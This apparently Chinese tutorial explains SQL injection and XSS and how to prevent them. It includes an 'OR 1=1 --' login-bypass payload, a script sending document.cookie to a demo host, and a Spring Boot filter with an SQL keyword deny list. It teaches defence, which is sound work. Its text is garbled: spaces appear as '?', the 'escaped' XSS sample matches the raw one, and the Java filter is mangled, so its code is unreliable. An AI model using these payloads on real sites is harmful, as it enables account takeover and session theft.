SQL注入簡(jiǎn)介
SQL 注入漏洞(SQL Injection)是 Web 開(kāi)發(fā)中最常見(jiàn)的一種安全漏洞。可以用它來(lái)從數(shù)據(jù)庫(kù)獲取敏感信息,或者利用數(shù)據(jù)庫(kù)的特性執(zhí)行添加用戶,導(dǎo)出文件等一系列惡意操作,甚至有可能獲取數(shù)據(jù)庫(kù)乃至系統(tǒng)用戶最高權(quán)限。
而造成 SQL 注入的原因是因?yàn)槌绦驔](méi)有有效的轉(zhuǎn)義過(guò)濾用戶的輸入,使攻擊者成功的向服務(wù)器提交惡意的 SQL 查詢代碼,程序在接收后錯(cuò)誤的將攻擊者的輸入作為查詢語(yǔ)句的一部分執(zhí)行,導(dǎo)致原始的查詢邏輯被改變,額外的執(zhí)行了攻擊者精心構(gòu)造的惡意代碼。
很多 Web 開(kāi)發(fā)者沒(méi)有意識(shí)到 SQL 查詢是可以被篡改的,從而把 SQL 查詢當(dāng)作可信任的命令。殊不知,SQL 查詢是可以繞開(kāi)訪問(wèn)控制,從而繞過(guò)身份驗(yàn)證和權(quán)限檢查的。更有甚者,有可能通過(guò) SQL 查詢?nèi)ミ\(yùn)行主機(jī)系統(tǒng)級(jí)的命令。
立即學(xué)習(xí)“PHP免費(fèi)學(xué)習(xí)筆記(深入)”;
SQL 注入原理
下面將通過(guò)一些真實(shí)的例子來(lái)詳細(xì)講解 SQL 注入的方式的原理。
考慮以下簡(jiǎn)單的管理員登錄表單:
后端的 SQL 語(yǔ)句可能是如下這樣的:
let?querySQL?=?` ????SELECT?* ????FROM?user ????WHERE?username='${username}' ????AND?psw='${password}' `; //?接下來(lái)就是執(zhí)行?sql?語(yǔ)句
目的就是來(lái)驗(yàn)證用戶名和密碼是不是正確,按理說(shuō)乍一看上面的 SQL 語(yǔ)句也沒(méi)什么毛病,確實(shí)是能夠達(dá)到我們的目的,可是你只是站在用戶會(huì)老老實(shí)實(shí)按照你的設(shè)計(jì)來(lái)輸入的角度來(lái)看問(wèn)題,如果有一個(gè)惡意攻擊者輸入的用戶名是 zhangsan’ OR 1 = 1 –,密碼隨意輸入,就可以直接登入系統(tǒng)了。
冷靜下來(lái)思考一下,我們之前預(yù)想的真實(shí) SQL 語(yǔ)句是:
SELECT?*?FROM?user?WHERE?username='zhangsan'?AND?psw='mypassword'
可以惡意攻擊者的奇怪用戶名將你的 SQL 語(yǔ)句變成了如下形式:
SELECT?*?FROM?user?WHERE?username='zhangsan'?OR?1?=?1?--'?AND?psw='xxxx'
在 SQL 中,– 是注釋后面的內(nèi)容的意思,所以查詢語(yǔ)句就變成了:
SELECT?*?FROM?user?WHERE?username='zhangsan'?OR?1?=?1
這條 SQL 語(yǔ)句的查詢條件永遠(yuǎn)為真,所以意思就是惡意攻擊者不用我的密碼,就可以登錄進(jìn)我的賬號(hào),然后可以在里面為所欲為,然而這還只是最簡(jiǎn)單的注入,牛逼的 SQL 注入高手甚至可以通過(guò) SQL 查詢?nèi)ミ\(yùn)行主機(jī)系統(tǒng)級(jí)的命令,將你主機(jī)里的內(nèi)容一覽無(wú)余,這里我也沒(méi)有這個(gè)能力講解的太深入,畢竟不是專業(yè)研究這類攻擊的,但是通過(guò)以上的例子,已經(jīng)了解了 SQL 注入的原理,我們基本已經(jīng)能找到防御 SQL 注入的方案了。
相關(guān)推薦:《ThinkPHP教程》
預(yù)防 SQL 注入
防止 SQL 注入主要是不能允許用戶輸入的內(nèi)容影響正常的 SQL 語(yǔ)句的邏輯,當(dāng)用戶的輸入的信息將要用來(lái)拼接 SQL 語(yǔ)句的話,我們應(yīng)該永遠(yuǎn)選擇不相信,任何內(nèi)容都必須進(jìn)行轉(zhuǎn)義過(guò)濾,當(dāng)然做到這個(gè)還是不夠的,下面列出防御 SQL 注入的幾點(diǎn)注意事項(xiàng):
1、嚴(yán)格限制Web應(yīng)用的數(shù)據(jù)庫(kù)的操作權(quán)限,給此用戶提供僅僅能夠滿足其工作的最低權(quán)限,從而最大限度的減少注入攻擊對(duì)數(shù)據(jù)庫(kù)的危害。
2、后端代碼檢查輸入的數(shù)據(jù)是否符合預(yù)期,嚴(yán)格限制變量的類型,例如使用正則表達(dá)式進(jìn)行一些匹配處理。
3、對(duì)進(jìn)入數(shù)據(jù)庫(kù)的特殊字符(’,”,,,&,*,; 等)進(jìn)行轉(zhuǎn)義處理,或編碼轉(zhuǎn)換?;旧纤械暮蠖苏Z(yǔ)言都有對(duì)字符串進(jìn)行轉(zhuǎn)義處理的方法,比如 lodash 的 lodash._escapehtmlchar 庫(kù)。
4、所有的查詢語(yǔ)句建議使用數(shù)據(jù)庫(kù)提供的參數(shù)化查詢接口,參數(shù)化的語(yǔ)句使用參數(shù)而不是將用戶輸入變量嵌入到 SQL 語(yǔ)句中,即不要直接拼接 SQL 語(yǔ)句。例如 Node.js 中的 mysqljs 庫(kù)的 query 方法中的 ? 占位參數(shù)。
mysql.query(`SELECT?*?FROM?user?WHERE?username?=???AND?psw?=??`,?[username,?psw]);
5、在應(yīng)用發(fā)布之前建議使用專業(yè)的 SQL 注入檢測(cè)工具進(jìn)行檢測(cè),以及時(shí)修補(bǔ)被發(fā)現(xiàn)的 SQL 注入漏洞。網(wǎng)上有很多這方面的開(kāi)源工具,例如 sqlmap、SQLninja 等。
6、避免網(wǎng)站打印出 SQL 錯(cuò)誤信息,比如類型錯(cuò)誤、字段不匹配等,把代碼里的 SQL 語(yǔ)句暴露出來(lái),以防止攻擊者利用這些錯(cuò)誤信息進(jìn)行 SQL 注入。
7、不要過(guò)于細(xì)化返回的錯(cuò)誤信息,如果目的是方便調(diào)試,就去使用后端日志,不要在接口上過(guò)多的暴露出錯(cuò)信息,畢竟真正的用戶不關(guān)心太多的技術(shù)細(xì)節(jié),只要話術(shù)合理就行。
XSS 攻擊簡(jiǎn)介
XSS 攻擊,即跨站腳本攻擊(Cross Site Scripting),它是 web 程序中常見(jiàn)的漏洞。 原理是攻擊者往 web 頁(yè)面里插入惡意的腳本代碼(CSS代碼、JavaScript代碼等),當(dāng)用戶瀏覽該頁(yè)面時(shí),嵌入其中的腳本代碼會(huì)被執(zhí)行,從而達(dá)到惡意攻擊用戶的目的。如盜取用戶cookie,破壞頁(yè)面結(jié)構(gòu)、重定向到其他網(wǎng)站等。
理論上來(lái)說(shuō),web 頁(yè)面中所有可由用戶輸入的地方,如果沒(méi)有對(duì)輸入的數(shù)據(jù)進(jìn)行過(guò)濾處理的話,都會(huì)存在 XSS 漏洞;當(dāng)然,我們也需要對(duì)模板視圖中的輸出數(shù)據(jù)進(jìn)行過(guò)濾。
XSS 攻擊示例
有一個(gè)博客網(wǎng)站,提供了一個(gè) web 頁(yè)面(內(nèi)含表單)給所有的用戶發(fā)表博客,但該博客網(wǎng)站的開(kāi)發(fā)人員并沒(méi)有對(duì)用戶提交的表單數(shù)據(jù)做任何過(guò)濾處理。 現(xiàn)在,我是一個(gè)攻擊者,在該博客網(wǎng)站發(fā)表了一篇博客,用于盜取其他用戶的cookie信息。博客內(nèi)容如下:
<b>This?is?a?XSS?test!</b> <script> var cookie = document.cookie; window.open("http://demo.com/getCookie.php?param="+cookie); </script>
這是一段 XSS 攻擊代碼。當(dāng)其他用戶查看我的這篇博客時(shí),他們的 cookie 信息就會(huì)被發(fā)送至我的 web 站點(diǎn)(http://demo.com/) ,如此,我就盜取了其他用戶的 cookie 信息。
預(yù)防 XSS 攻擊
核心思想
永遠(yuǎn)不要相信用戶的輸入,必須對(duì)輸入的數(shù)據(jù)作過(guò)濾處理。
該函數(shù)會(huì)把字符串中的特殊字符轉(zhuǎn)化為 HTML 實(shí)體,這樣在輸出時(shí),惡意的代碼就無(wú)法執(zhí)行了。這些特殊字符主要是 ’ ” & 。
比如,我剛剛的惡意代碼被過(guò)濾后,會(huì)變?yōu)橄旅娴拇a:
<b>This?is?a?XSS?test!</b> <script> var cookie = document.cookie; window.open("http://demo.com/getCookie.php?param="+cookie); </script>
這樣,就可以預(yù)防大部分 XSS 攻擊了。
服務(wù)端代碼處理
以springboot為例:
可利用過(guò)濾器進(jìn)行設(shè)置,如下所示:
/** ?*?防止sql注入,xss攻擊 ?*?前端可以對(duì)輸入信息做預(yù)處理,后端也可以做處理。 ?*/ public?class?XssHttpServletRequestWrapper?extends?HttpServletRequestWrapper?{ ????private?final?Logger?log?=?LoggerFactory.getLogger(getClass()); ????private?static?String?key?=?"and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char ????|declare|;|or|-|+"; ????private?static?Set<string>?notAllowedKeyWords?=?new?HashSet<string>(0); ????private?static?String?replacedString="INVALID"; ????static?{ ????????String?keyStr[]?=?key.split("|"); ????????for?(String?str?:?keyStr)?{ ????????????notAllowedKeyWords.add(str); ????????} ????} ????private?String?currentUrl; ????public?XssHttpServletRequestWrapper(HttpServletRequest?servletRequest)?{ ????????super(servletRequest); ????????currentUrl?=?servletRequest.getRequestURI(); ????} ????/**覆蓋getParameter方法,將參數(shù)名和參數(shù)值都做xss過(guò)濾。 ?????*?如果需要獲得原始的值,則通過(guò)super.getParameterValues(name)來(lái)獲取 ?????*?getParameterNames,getParameterValues和getParameterMap也可能需要覆蓋 ?????*/ ????@Override ????public?String?getParameter(String?parameter)?{ ????????String?value?=?super.getParameter(parameter); ????????if?(value?==?null)?{ ????????????return?null; ????????} ????????return?cleanXSS(value); ????} ????@Override ????public?String[]?getParameterValues(String?parameter)?{ ????????String[]?values?=?super.getParameterValues(parameter); ????????if?(values?==?null)?{ ????????????return?null; ????????} ????????int?count?=?values.length; ????????String[]?encodedValues?=?new?String[count]; ????????for?(int?i?=?0;?i??getParameterMap(){ ????????Map<string>?values=super.getParameterMap(); ????????if?(values?==?null)?{ ????????????return?null; ????????} ????????Map<string>?result=new?HashMap(); ????????for(String?key:values.keySet()){ ????????????String?encodedKey=cleanXSS(key); ????????????int?count=values.get(key).length; ????????????String[]?encodedValues?=?new?String[count]; ????????????for?(int?i?=?0;?i?",?">"); ????????value?=?value.replaceAll("",?"&?gt;"); ????????value?=?value.replaceAll("(",?"&?#40;").replaceAll(")",?"&?#41;"); ????????value?=?value.replaceAll("'",?"&?#39;"); ????????value?=?value.replaceAll("eval((.*))",?""); ????????value?=?value.replaceAll("["'][s]*javascript:(.*)["']",?""""); ????????value?=?value.replaceAll("script",?""); ????????value?=?cleanSqlKeyWords(value); ????????return?value; ????} ????private?String?cleanSqlKeyWords(String?value)?{ ????????String?paramValue?=?value; ????????for?(String?keyword?:?notAllowedKeyWords)?{ ????????????if?(paramValue.length()?>?keyword.length()?+?4 ????????????????????&&?(paramValue.contains("?"+keyword)||paramValue.contains(keyword+"?")||paramValue. ????????????????????contains("?"+keyword+"?")))?{ ????????????????paramValue?=?StringUtils.replace(paramValue,?keyword,?replacedString); ????????????????log.error(this.currentUrl?+?"已被過(guò)濾,因?yàn)閰?shù)中包含不允許sql的關(guān)鍵詞("?+?keyword ????????????????????????+?")"+";參數(shù):"+value+";過(guò)濾后的參數(shù):"+paramValue); ????????????} ????????} ????????return?paramValue; ????} }</string></string></string></string>